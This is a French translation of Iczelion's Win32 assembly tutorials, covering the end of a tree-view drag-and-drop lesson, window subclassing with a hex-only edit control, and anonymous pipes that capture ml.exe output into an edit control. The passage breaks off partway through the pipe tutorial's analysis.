    invoke ImageList_DragEnter,hwndTreeView,[edi].ptDrag.x,[edi].ptDrag.y
    invoke SetCapture,hWnd
    mov DragMode,TRUE
    .endif
    assume edi:nothing
Maintenant quand l'utilisateur essaye de déplacer un Item, le tree view control envoie le message WM_NOTIFY avec TVN_BEGINDRAG en tant que membre 'Code'. lParam est le pointer qui est sur la structure NM_TREEVIEW laquelle contient plusieurs informations dont nous avons besoin, ainsi nous mettons sa valeur dans edi et employons edi comme pointer pour la structure NM_TREEVIEW. 'assume edi:ptr NM_TREEVIEW' est une façon de dire à MASM de traiter edi en tant que pointer sur la structure NM_TREEVIEW. Nous créons alors une image de traînée en envoyant TVM_CREATEDRAGIMAGE au tree view control. Il renvoie l'handle de l 'image list' nouvellement créé avec une image de traînée à l'intérieur. Nous appelons ImageList_BeginDrag pour définir le point chaud de l'image de traînée. Alors nous passons à l'opération de traînée en appelant ImageList_DragEnter. Cette fonction affiche l'image de traînée à l'emplacement indiqué dans la fenêtre indiquée. Nous employons la structure ptDrag qui est un membre de la structure NM_TREEVIEW en tant que point de départ où l'image de traînée doit être placée au commencement. Après ça, nous capturons l'entrée souris et nous (activons) le flag pour indiquer que nous passons désormais en mode Drag (traînée).
    .elseif uMsg==WM_MOUSEMOVE
    .if DragMode==TRUE
    mov eax,lParam
    and eax,0ffffh
    mov ecx,lParam
    shr ecx,16
    mov tvhit.pt.x,eax
    mov tvhit.pt.y,ecx
    invoke ImageList_DragMove,eax,ecx
    invoke ImageList_DragShowNolock,FALSE
    invoke SendMessage,hwndTreeView,TVM_HITTEST,NULL,addr tvhit
    .if eax!=NULL
    invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,eax
    .endif
    invoke ImageList_DragShowNolock,TRUE
    .endif
Maintenant nous nous concentrons sur WM_MOUSEMOVE. Quand l'utilisateur traîne l'image, notre fenêtre parente reçoit des messages WM_MOUSEMOVE. En réponse à ces messages, nous mettons à jour la position de l' image de traînée avec ImageList_DragMove. Après ça, nous vérifions si l'image de traînée passe au-dessus d'un Item. Nous faisons ça en envoyant le message TVM_HITTEST au tree view control. Si l'image de traînée passe par dessus d'un autre Item, nous reprenons le contrôle de notre Item en envoyant le message TVM_SELECTITEM avec le flag TVGN_DROPHILITE (pour dire que c'est l'Item Drag and Drop qui nous intéresse et pas l'autre) au tree view control. Pendant cette opération, nous cachons l'image de traînée pour qu'elle ne laisse pas de taches dégueulasses sur le tree view control.
    .elseif uMsg==WM_LBUTTONUP
    .if DragMode==TRUE
    invoke ImageList_DragLeave,hwndTreeView
    invoke ImageList_EndDrag
    invoke ImageList_Destroy,hDragImageList
    invoke SendMessage,hwndTreeView,TVM_GETNEXTITEM,TVGN_DROPHILITE,0
    invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_CARET,eax
    invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,0
    invoke ReleaseCapture
    mov DragMode,FALSE
    .endif
Quand l'utilisateur relâche le bouton gauche de la souris, l'opération de traînée se termine. Nous sortons du mode traînée en appelant ImageList_DragLeave, suivit par ImageList_EndDrag et ImageList_Destroy.
[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32asm Tutorial 20: Window Subclassing

Tutorial 20: Les Sous-Classifications de Fenêtre
(Window Subclassing)

Dans ce Tutorial, nous allons voir les éléments de sousclassifications d'une fenêtre, ce que c'est et comment les employer à votre avantage.
Downloadez l'exemple ici.

Window Class : habituelle
Window Sous-Class : c'est ce qu'on va étudier

Théorie:

Si ça fait un petit moment que vous programmez sous Windows, vous avez dû rencontrer certains cas où une fenêtre possède pratiquement les attributs (les caractéristiques) dont vous auriez besoin pour votre programme, mais pas tout à fait quand même. Vous avez sûrement déjà dû rencontrer cette situation où il vous faut un contrôle d'édition un peu spécial qui puisse filtrer certains types de textes indésirables ! La meilleur chose à faire, c'est de coder votre propre élément. Mais c'est un travail vraiment difficile et très long. Voilà donc à notre secours les 'Sousclassifications' de fenêtre.
Grâce aux sousclassifications de fenêtre on peut "reprendre" (corriger améliorer) une fenêtre sousclassée. Vous y aurez un contrôle absolu. On va prendre un exemple pour que ce soit plus clair. Supposons que vous ayez besoin d'une boîte de texte qui n'accepte que des nombres hexadécimaux. Si vous utilisez un simple contrôle d'édition, rien n'interdit à l'utilisateur de taper autre chose que des nombres hexadécimaux. Si l'utilisateur tape "zb+q *" dans la boîte de texte, vous ne pouvez rien y faire, sauf rejeter la totalité de cette chaîne de caractères. C'est pas très professionnel. En réalité, vous avez besoin de pouvoir contrôler chaque caractère tapé par l'utilisateur au moment même où il le tape dans la boîte de saisie.
Nous allons examiner comment faire ça. Quand l'utilisateur tape quelque chose dans une boîte de texte, Windows envoie le message WM_CHAR à la procédure de fenêtre qui s'occupe de la gestion du contrôle d'édition. Cette procédure de fenêtre réside à l'intérieur de Windows lui-même donc nous ne pouvons rien modifier. Cependant nous pouvons faire suivre le flux de message de notre propre procédure de fenêtre pour que notre procédure de fenêtre devienne la première (avant que Windows s'en occupe) à traiter n'importe quel message envoyé au contrôle d'édition. Si on veut faire réagir notre procédure de fenêtre à un éventuel message (si on veut détecter des caractères non désirés), on doit le faire ainsi. Mais si elle ne veut pas prendre en compte le message, on peut le passer à la procédure de fenêtre originale. De cette manière, notre procédure de fenêtre s'insère entre Windows et le contrôle d'édition. Voyez plutôt le flux ci-dessous :

    Avant la Sousclassification :

    Windows ==> contrôle d'édition de la procédure de fenêtre.

    Après mise en place d'un système de Sousclassification :

    Windows ==> notre procédure de fenêtre -----> contrôle d'édition de la procédure de fenêtre.
Maintenant concentrons notre attention sur le fait de savoir comment sous-classer une fenêtre. Remarquez que la sousclassification n'est pas uniquement limitée aux simples 'controls' (Bouton, Zone d'edition....), on peut aussi l'employer avec n'importe quelle fenêtre.
Réfléchissons ! Comment Windows sait à quel endroit est-ce que le contrôle d'édition (de la procédure de fenêtre) réside. Vous avez devinez ? ...... regardez le membre lpfnWndProc de la structure WNDCLASSEX. Si nous pouvons remplacer ce membre par l'adresse de notre propre procédure de fenêtre, alors Windows enverra des messages à notre proc de fenêtre au lieu de l'autre.
On peut faire ça en appelant SetWindowLong.
    SetWindowLong PROTO hWnd:DWORD, nIndex:DWORD, dwNewLong:DWORD
hWnd = handle de la fenêtre où l'on doit changer la valeur à l'intérieur de la structure WNDCLASSEX.
nIndex = valeur à changer.
    GWL_EXSTYLE Définit un nouveau 'style (extra)' de fenêtre.
    GWL_STYLE Définit un nouveau style de fenêtre.
    GWL_WNDPROC définit une nouvelle adresse pour la procédure de fenêtre.
    GWL_HINSTANCE Définit le nouvel 'instance handle' de l'application.
    GWL_ID Définit un nouveau n°ID pour la fenêtre.
    GWL_USERDATA impose de travailler avec des valeurs 32 bits pour cette fenêtre. Chaque fenêtre a une valeur correspondante à 32 bits destinée à être utilisée par l'application qui a créé cette fenêtre.
dwNewLong = C'est la valeur de substitution.
Donc notre travail est facile : Nous codons (écrivons) une proc de fenêtre qui manipulera les messages du contrôle d'édition et appellera ensuite SetWindowLong avec le flag renvoyé par GWL_WNDPROC, en faisant passer l'adresse de notre proc de fenêtre comme troisième paramètre. Si la fonction réussit, la valeur de retour est la valeur vue précédemment (l'entier 32 bits), dans notre cas, c'est l'adresse de la procédure de fenêtre originale. Nous avons besoin de stocker cette valeur pour pouvoir ensuite l'utiliser dans notre propre procédure de fenêtre.
Rappelez-vous qu'il y a certains messages (ici des chiffres ou des lettres non-hexadécimales) que nous ne souhaitons pas récupérer, donc nous les passerons à la procédure de fenêtre originale. Nous pouvons faire ça en appelant la fonction CallWindowProc.
    CallWindowProc PROTO lpPrevWndFunc:DWORD, \
    hWnd:DWORD,\
    Msg:DWORD,\
    wParam:DWORD,\
    lParam:DWORD
LpPrevWndFunc = adresse de la 'procédure de fenêtre' originale.
Ci-dessus, ces quatre paramètres sont ceux passés à notre procédure de fenêtre. On les passe uniquement grâce à CallWindowProc.

Echantillon de Code :

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
EditWndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "SubclassWinClass",0
AppName db "Subclassing Demo",0
EditClass db "EDIT",0
Message db "You pressed Enter in the text box!",0

.data?
hInstance HINSTANCE ?
hwndEdit dd ?
OldWndProc dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,350,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.if uMsg==WM_CREATE
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClass,NULL,\
WS_CHILD+WS_VISIBLE+WS_BORDER,20,\
20,300,25,hWnd,NULL,\
hInstance,NULL
mov hwndEdit,eax
invoke SetFocus,eax
;-----------------------------------------
; On le sous-classe !
;-----------------------------------------
invoke SetWindowLong,hwndEdit,GWL_WNDPROC,addr EditWndProc
mov OldWndProc,eax
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp

EditWndProc PROC hEdit:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
.if uMsg==WM_CHAR
mov eax,wParam
.if (al>="0" && al<="9") || (al>="A" && al<="F") || (al>="a" && al<="f") || al==VK_BACK
.if al>="a" && al<="f"
sub al,20h
.endif
invoke CallWindowProc,OldWndProc,hEdit,uMsg,eax,lParam
ret
.endif
.elseif uMsg==WM_KEYDOWN
mov eax,wParam
.if al==VK_RETURN
invoke MessageBox,hEdit,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
invoke SetFocus,hEdit
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
EditWndProc endp
end start

Analyse:

    invoke SetWindowLong,hwndEdit,GWL_WNDPROC,addr EditWndProc
    mov OldWndProc,eax
Après que le contrôle d'édition soit créé, nous le sous-classons en appelant SetWindowLong, en remplaçant l'adresse de la procédure de fenêtre originale par notre propre procédure de fenêtre. Remarquez que nous stockons l'adresse de la procédure de fenêtre originale pour pouvoir l'utiliser plus tard avec CallWindowProc. Notez qu' EditWndProc est une procédure de fenêtre ordinaire.
    .if uMsg==WM_CHAR
    mov eax,wParam
    .if (al>="0" && al<="9") || (al>="A" && al<="F") || (al>="a" && al<="f") || al==VK_BACK
    .if al>="a" && al<="f"
    sub al,20h
    .endif
    invoke CallWindowProc,OldWndProc,hEdit,uMsg,eax,lParam
    ret
    .endif
Grâce à EditWndProc, nous filtrons les messages WM_CHAR. Si le caractère est compris entre 0-9 ou A-F, nous l'acceptons en le laissant arriver jusqu'à la procédure de fenêtre originale. Si c'est une lettre comprise entre A-F, nous la convertissons en lettre entre a-f en ajoutant 20h à la valeur hexadécimale qui représente cette lettre. Notez bien que, si le caractère n'est pas celui attendu, nous le rejetons. Nous ne le passons pas à la procédure de fenêtre originale. Donc lorsque l'utilisateur tape quelque chose d'autre que 0-9 ou a-f, le caractère n'apparaît pas dans le contrôle d'édition.
    .elseif uMsg==WM_KEYDOWN
    mov eax,wParam
    .if al==VK_RETURN
    invoke MessageBox,hEdit,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
    invoke SetFocus,hEdit
    .else
    invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
    ret
    .end
Je vous démontre en plus (dans le programme) la puissance de la méthode de sous-classification avec la détection de la touche Enter. EditWndProc vérifie si la valeur du message WM_KEYDOWN est VK_RETURN (la Touche Enter). Si c'est le cas, une boîte de message affiche s'ouvre pour afficher : "You pressed the Enter key in the text box!" (Vous avez appuyé sur la touche Enter dans la boîte de texte!). Si ce n'est pas la touche Enter, on passe le message à la procédure de fenêtre originale.
Vous pouvez employer la méthode de sous-classification de fenêtre pour prendre le contrôle d'autres fenêtres. C'est une des corde que vous devez avoir à votre arc.
[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 21: Pipe

Tutorial 21: Le Pipe
Pipe = Cable de communication entre deux programmes

(en plus : couleur du fond d'un contrôle d'édition)

Dans ce Tutorial, nous allons nous intéresser au 'Pipe', ce que ça représente et à quoi nous pouvons l'employer. Pour rendre tout ça plus intéressant, j'ajoute en plus à cette technique le fait de savoir comment changer le fond et la couleur du texte d'un contrôle d'édition.
Downloadez l'exemple ici.
En réalité cet exemple fait appel au programme ml.exe qui se trouve dans C:\Masm32\Bin\ donc vous devez d'abord le dézipper dans ce dossier pour qu'il puisse fonctionner.

Théorie:

Le pipe est un conduit ou bien une sorte de cable de communication muni de deux bouts. Vous pouvez l'employer pour échanger des données entre deux process différents (entre deux programmes différents), ou dans un même process. C'est comme un walkie-talkie. Vous donnez une information à l'autre partie et elle peut l'employer pour communiquer avec vous.
Il y a deux types de pipes : les pipes anonymes et les pipes nommées. Un pipe anonyme est, eh bien, anonyme : c'est-à-dire que vous pouvez l'utiliser sans connaître son nom. Pour un pipe nommée c'est le contraire : vous devez connaître son nom avant de pouvoir l'utiliser.
Vous pouvez aussi ranger les pipes par catégories selon leur propriété : certains fonctionnent en sens unique, les autres communique bilatéralement. Dans un pipe à sens unique, les données circulent uniquement dans une seule direction : d'un bout à l'autre. Tandis que pour un pipe bilatérale, les données peuvent être échangées entre les deux partis.
Un pipe anonyme est toujours à sens unique tandis qu'un pipe nommée peut être soit unique soit à double sens. Un pipe nommée est d'habitude employé dans un environnement réseau dans lequel un serveur peut se connecter à plusieurs clients.
Dans ce Tutorial, nous examinerons le pipe anonyme en détail. Le but principal d'un pipe anonyme c'est d'être utilisé comme un cable de communcation entre un parent et des process enfants (entre un programme principal et ses sous-programmes) ou entre plusieurs process enfants.
Un pipe anonyme est réellement utile lorsque vous traitez avec une application console. Une application console est une sorte de programme win32 qui utilise une console en tant qu'Entrée/Sortie. Une console est un outils de DOS. Cependant, une application console est un programme entièrement 32 bits. Elle peut employer n'importe quelle fonction du GUI (NdT : Graphic User Interface, le GUI c'est l'ensemble des objets tels que les boîtes de saisie de texte, les boutons…), de la même façon que d'autres programmes.
Une application console a trois handles qu'elle peut utiliser pour ses Entrées/Sorties. Ont les appelle 'handles standards'. Il y en a trois : 'Entrée Standard'(ou Standard Input), 'Sortie Standard'(ou Standard Output) et 'Erreur Standard'(ou Standard Error). L'handle de l'Entrée Standard est employé pour lire/récupérer les informations de la console, alors que l'handle de la Sortie Standard est utilisé pour renvoyer les données vers la sortie/ou l 'imprimante. L'handle de l'Erreur Standard est employé pour donner un compte rendu sur les conditions d'erreurs lorsque sa sortie n'est pas accessible.
Une application console peut retrouver ces trois 'handles standards' en appelant la fonction GetStdHandle, en spécifiant bien quel handle est ce qu'on souhaite récupérer. Une application GUI n'a pas de console. Si vous appelez GetStdHandle, il renverra une erreur. Si vous voulez vraiment utiliser une console, vous pouvez appeler AllocConsole pour allouer une nouvelle console. Cependant, n'oubliez pas d'appeler FreeConsole quand vous mettez en place une console.
Le pipe anonyme est fréquemment employée pour faire suivre les entrées/sorties d'une application console vers l'application enfant avec laquelle elle communique. Le process parent peut être une console ou une application GUI, mais l'enfant doit être un appendice de la console. Pour que ça marche. Comme vous le savez, une application console utilise des handles standards pour ses Entrées/Sorties. Si nous voulons faire suivre les Entrées/Sorties d'une application console, nous pouvons remplacer l'handle par un des handles du pipe. Une application console ne se rendra pas compte qu'on emploie l'handle d'un pipe. Elle l'utilisera de la même manière qu'un handle normal. C'est une sorte de polymorphisme, en jargon OOP. Cette approche est puissante puisque nous n'avons pas besoin de modifier le process enfant où que ce soit.
Une autre chose que vous devez savoir à propos des applications console c'est à quel moment on récupère ces 'handles standards'. Lorsqu'une application console est créée, le process parent a deux choix : il peut créer une nouvelle console pour l'enfant ou il peut laisser l'enfant hériter de sa propre console (le process parent et le child process auront des consoles de mêmes caractéristiques). Avec la deuxième approche, le process parent doit être une application console ou bien si c'est une application du GUI, elle doit d'abord appeler AllocConsole pour allouer une console.
On va commencer le boulot. Pour créer un pipe anonyme vous avez besoin d'appeler CreatePipe. CreatePipe a le prototype suivant :
CreatePipe proto pReadHandle:DWORD, \
pWriteHandle:DWORD,\
pPipeAttributes:DWORD,\
nBufferSize:DWORD
  • pReadHandle est un pointer qui est sur une variable de type dword qui recevra l'handle de lecture du pipe.
  • pWriteHandle est un pointer qui est sur une variable de type dword laquelle recevra l 'handle d'écriture' du pipe.
  • pPipeAttributes pointe sur la structure SECURITY_ATTRIBUTES laquelle détermine si les handles de lecture et d'écriture renvoyés ont bien étés générés par un process enfant.
  • nBufferSize est la taille supposée du buffer que le pipe réservera pour l'utilisation. C'est seulement une taille supposée. Vous pouvez employer NULL pour dire à la fonction d'employer la taille par défaut.
Si l'appel est couronné de succès, la valeur en retour est différent de zéro. Si elle a échouée, la valeur de retour est nulle.
Après que l'appel est été couronné de succès, vous obtiendrez deux handles, un pour le bout 'lecture' du pipe, et autre pour le bout 'écriture'. Maintenant on va voir les étapes nécessaires à la réexpédition des Sorties Standards d'un programme console enfant, vers votre propre process. Notez que ma méthode diffère de celle de la référence API win32 de Borland. La méthode dans la référence API Win32 impose que le process parent soit une application console et par conséquent le proce ss enfant peut hériter de ses 'handles standards'. Mais la plupart du temps, nous aurons besoin de faire suivre la Sortie d'une application console vers une application du GUI (par exemple vers une boîte de saisie).
  1. Créez un pipe anonyme avec CreatePipe. N'oubliez pas de mettre le membre bInheritable à TRUE dans la structure SECURITY_ATTRIBUTES puisque les handles ne proviennent pas d'un parent.
  2. Maintenant nous devons préparer les paramètres que nous passerons à CreateProcess puisque nous l'emploierons pour charger l'application console enfant. Une structure importante est la structure STARTUPINFO. Elle détermine l'apparence de la fenêtre principale du process enfant quand elle apparaît en premier lieu. Cette structure est essentielle pour nous. Vous pouvez cacher la fenêtre principale et passer l'handle du pipe, au process console enfant comme ça. Ci-dessous voici les membres que vous devez remplir :
    • cb : est la taille de structure STARTUPINFO
    • dwFlags : les flags binaires (donc 0 ou 1) qui déterminent si les membres de la structure sont valables, ils déterminent aussi l'état visible/caché de la fenêtre principale. Pour notre but, on doit utiliser une combinaison des deux flags : STARTF_USESHOWWINDOW et STARTF_USESTDHANDLES
    • hStdOutput et hStdError : sont les handles qui seront utilisés en tant qu ' 'handle standard de sortie' et 'handle standard d'erreur' pour votre process enfant. Pour arriver à notre but, nous passons l'handle d'écriture du pipe en tant que sortie/erreur standard du process enfant. De cette façon, lorsque les Sorties enfants sont en actions (Sorties/Erreurs standard), on passe en réalité les renseignements par le pipe vers le process parent.
    • wShowWindow a un contrôle sur l'état visible é/caché de la fenêtre principale. Dans notre cas, nous ne souhaitons pas que la console de notre fenêtre enfant soit visible donc nous mettons SW_HIDE dans ce membre.
  3. On appelle CreateProcess pour charger l'application enfant. Après que CreateProcess soit couronné de succès, l'enfant est toujours inactif. Il est chargé en mémoire mais, pour l'instant, il n'est toujours pas lancé.
  4. On ferme l'handle d'écriture du pipe. C'est nécessaire. Parce que le process parent n'a pas besoin de se servir de l'handle d'écriture du pipe. En plus, le pipe ne fonctionnera pas si il y a plus d'une sortie d'écriture, nous DEVONS le fermer avant la lecture des données du pipe. Cependant, ne fermez pas l'handle d'écriture avant l'appel CreateProcess, sinon le fonctionnement de votre pipe sera transgressé. Vous devez seulement le fermer après le retour de CreateProcess mais surtout pas avant que vous n'ayez lu les données de lecture du pipe.
  5. Maintenant vous pouvez lire les données du bout de lecture du pipe avec ReadFile. Grâce à ReadFile, vous influencez le process enfant durant son exécution même. Ça lance l'exécution et lorsqu'on ''écrit'' quelque chose à l'handle standard de sortie (qui est en réalité l'handle d'écriture du pipe), les données sont envoyées par le pipe vers le bout d'écriture. Vous pouvez vous représenter ReadFile un peu comme un aspirateur de données, au niveau du bout d'écriture du pipe. Vous devez appeler ReadFile à plusieurs reprises avant qu'il ne retourne la valeur 0, ce qui signifie qu'il n'y a plus de données à lire. Vous pouvez faire ce qu'il vous plait des données lues dans le pipe. Dans notre exemple, je les ai mises dans un contrôle d'édition. (cas classique)
  6. On ferme l'handle de lecture du pipe.

Example:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

.const
IDR_MAINMENU equ 101 ; l' ID du menu principal
IDM_ASSEMBLE equ 40001

.data
ClassName db "PipeWinClass",0
AppName db "One-way Pipe Example",0 EditClass db "EDIT",0
CreatePipeError db "Error during pipe creation",0
CreateProcessError db "Error during process creation",0
CommandLine db "ml /c /coff /Cp test.asm",0

.data?
hInstance HINSTANCE ?
hwndEdit dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,IDR_MAINMENU
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPEDWINDOW+WS_VISIBLE,CW_USEDEFAULT,\ CW_USEDEFAULT,400,200,NULL,NULL,\ hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL rect:RECT
LOCAL hRead:DWORD
LOCAL hWrite:DWORD
LOCAL startupinfo:STARTUPINFO
LOCAL pinfo:PROCESS_INFORMATION
LOCAL buffer[1024]:byte
LOCAL bytesRead:DWORD
LOCAL hdc:DWORD
LOCAL sat:SECURITY_ATTRIBUTES
.if uMsg==WM_CREATE
invoke CreateWindowEx,NULL,addr EditClass, NULL, WS_CHILD+ WS_VISIBLE+ ES_MULTILINE+ ES_AUTOHSCROLL+ ES_AUTOVSCROLL, 0, 0, 0, 0, hWnd, NULL, hInstance, NULL
mov hwndEdit,eax
.elseif uMsg==WM_CTLCOLOREDIT
invoke SetTextColor,wParam,Yellow
invoke SetBkColor,wParam,Black
invoke GetStockObject,BLACK_BRUSH
ret
.elseif uMsg==WM_SIZE
mov edx,lParam
mov ecx,edx
shr ecx,16
and edx,0ffffh
invoke MoveWindow,hwndEdit,0,0,edx,ecx,TRUE
.elseif uMsg==WM_COMMAND
.if lParam==0
mov eax,wParam
.if ax==IDM_ASSEMBLE
mov sat.niLength,sizeof SECURITY_ATTRIBUTES
mov sat.lpSecurityDescriptor,NULL
mov sat.bInheritHandle,TRUE
invoke CreatePipe,addr hRead,addr hWrite,addr sat,NULL
.if eax==NULL
invoke MessageBox, hWnd, addr CreatePipeError, addr AppName, MB_ICONERROR+ MB_OK
.else
mov startupinfo.cb,sizeof STARTUPINFO
invoke GetStartupInfo,addr startupinfo
mov eax, hWrite
mov startupinfo.hStdOutput,eax
mov startupinfo.hStdError,eax
mov startupinfo.dwFlags, STARTF_USESHOWWINDOW+ STARTF_USESTDHANDLES
mov startupinfo.wShowWindow,SW_HIDE
invoke CreateProcess, NULL, addr CommandLine, NULL, NULL, TRUE, NULL, NULL, NULL, addr startupinfo, addr pinfo
.if eax==NULL
invoke MessageBox,hWnd,addr CreateProcessError,addr AppName,MB_ICONERROR+MB_OK
.else
invoke CloseHandle,hWrite
.while TRUE
invoke RtlZeroMemory,addr buffer,1024
invoke ReadFile,hRead,addr buffer,1023,addr bytesRead,NULL
.if eax==NULL
.break
.endif
invoke SendMessage,hwndEdit,EM_SETSEL,-1,0
invoke SendMessage,hwndEdit,EM_REPLACESEL,FALSE,addr buffer
.endw
.endif
invoke CloseHandle,hRead
.endif
.endif
.endif
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret
.endif
xor eax,eax
ret
WndProc endp
end start

Analyse:

Notre exemple appellera le petit programme ml.exe pour assembler un fichier nommé test.asm, puis fera suivre la sortie (les données en sortie) de ml.exe vers le contrôle d'édition (du secteur client de notre programme).
Quand le programme est chargé, on enregistre la 'window class' et on crée comme d'habitude la fenêtre principale. La première chose qu'on fait pendant la création de la fenêtre principale c'est de créer un contrôle d'édition qui sera employé pour afficher les données de sortie de ml.exe (pour afficher par exemple que ml.exe vient d'assembler Test.asm avec succès…..).

II Partie 2 :

Maintenant nous voici dans la partie intéressante (mais c'est le deuxième point de ce tutorial. Ça n'a aucun rapport avec ce qu'on a vu avant), nous allons changer la couleur du texte et la couleur de fond du contrôle d'édition. Quand un contrôle d'édition repeindre (rafraîchit) son secteur client, il envoie le message WM_CTLCOLOREDIT à sa fenêtre parente..
wParam contient l'handle du style d'écriture que le contrôle d'édition emploiera pour écrire dans son propre secteur de client. Nous pouvons profiter de cette occasion pour modifier les caractéristiques de l'HDC.
.elseif uMsg==WM_CTLCOLOREDIT
invoke SetTextColor,wParam,Yellow
invoke SetTextColor,wParam,Black
invoke GetStockObject,BLACK_BRUSH
ret
SetTextColor change la couleur du texte en jaune. SetTextColor change la couleur du fond en noir. Et finalement, nous obtenons l'handle du pinceau noir que nous renvoyons à Windows. Avec le message WM_CTLCOLOREDIT, on renvoie l'handle du pinceau que Windows emploiera pour repeindre le fond du contrôle d'édition. Dans notre exemple, je souhaite que le fond soit noir, donc je renvoie à Windows l'handle du pinceau noir.
Maintenant quand l'utilisateur choisit le menuitem (le sous-menu) Assemble, il crée un pipe anonyme.

.if ax==IDM_ASSEMBLE
mov sat.niLength,sizeof SECURITY_ATTRIBUTES
mov sat.lpSecurityDescriptor,NULL
mov sat.bInheritHandle,TRUE

Avant le Call CreatePipe, nous devons remplir la structure SECURITY_ATTRIBUTES. Notez que nous pouvons employer NULL dans le membre lpSecurityDescriptor si nous ne nous soucions pas de la sécurité. Et le membre bInheritHandle doit être TRUE pour que les handles du pipe soient les mêmes pour le process parent et le process enfant.

invoke CreatePipe,addr hRead,addr hWrite,addr sat,NULL

Après ça, nous appelons CreatePipe qui, si il est couronné de succès, remplira les variables hRead et hWrite respectivement avec les handles de lecture et d'écriture des bouts du pipe.

mov startupinfo.cb,sizeof STARTUPINFO
invoke GetStartupInfo,addr startupinfo
mov eax, hWrite
mov startupinfo.hStdOutput,eax
mov startupinfo.hStdError,eax
mov startupinfo.dwFlags, STARTF_USESHOWWINDOW+ STARTF_USESTDHANDLES
mov startupinfo.wShowWindow,SW_HIDE

